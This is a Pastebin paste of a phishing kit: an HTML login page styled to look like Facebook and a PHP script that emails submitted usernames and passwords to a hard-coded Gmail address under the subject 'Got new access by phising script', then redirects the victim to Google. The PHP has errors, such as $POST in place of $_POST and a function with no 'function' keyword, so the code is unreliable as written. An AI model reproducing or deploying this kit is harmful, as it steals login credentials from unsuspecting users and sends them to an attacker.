Advertisement
Guest User

FUm6

a guest
Feb 28th, 2019
125
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.43 KB | None | 0 0
  1. 1st file
  2. -----------------------------
  3. <!DOCTYPE html>
  4. <html lang="en">
  5. <body>
  6.     <section>
  7.             <div class="login-form">
  8.                 <form action="do_action.php">
  9.                     <label for="username">Username:</label>
  10.                     <input name="username" type="text" id="username"></input><br /><br />
  11.                     <label for="password">Password:</label>
  12.                     <input name="password" id="password" type="password"></input><br />
  13.                     <input id="keep" style="margin: 10px 0 0 84px" type="checkbox"></input>
  14.                     <label for="keep" style="font-size:12px;">keep me logged in</label><br />
  15.                     <input type="submit" name="submit" value="Verify" style="background: none repeat scroll 0 0 #3b5998; border: 1px solid #294461; color: #ffffff; margin: 4px 0 0 80px; padding: 2px 6px;"></input>
  16.                     <p><a style="text-decoration:none; color:#3B5998; margin:0 0 0 80px;" href="">can't log in?</a></p>
  17.                 </form>
  18.             </div>
  19.         </div>
  20.     </section>
  21. </body>
  22. </html>
  23.  
  24.  
  25.  
  26. 2nd file
  27. -------------------------------------------------------
  28. <?php
  29.     mail_sender(){
  30.         $username = $POST[username];
  31.         $password = $POST[password];
  32.         $receiver = "rickftw3@gmail.com";
  33.         $subject = "Got new access by phising script";
  34.         $message = "The username is ". $username;
  35.         $message .= "and password is ". $password;
  36.         $sent =  mail($receiver, $subject, $message);
  37.         if($sent == true) return true;
  38.          else return false;
  39.     }
  40.    
  41.     if(mail_sender()){
  42.         header("Location: http://www.google.com");
  43.     }
  44. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement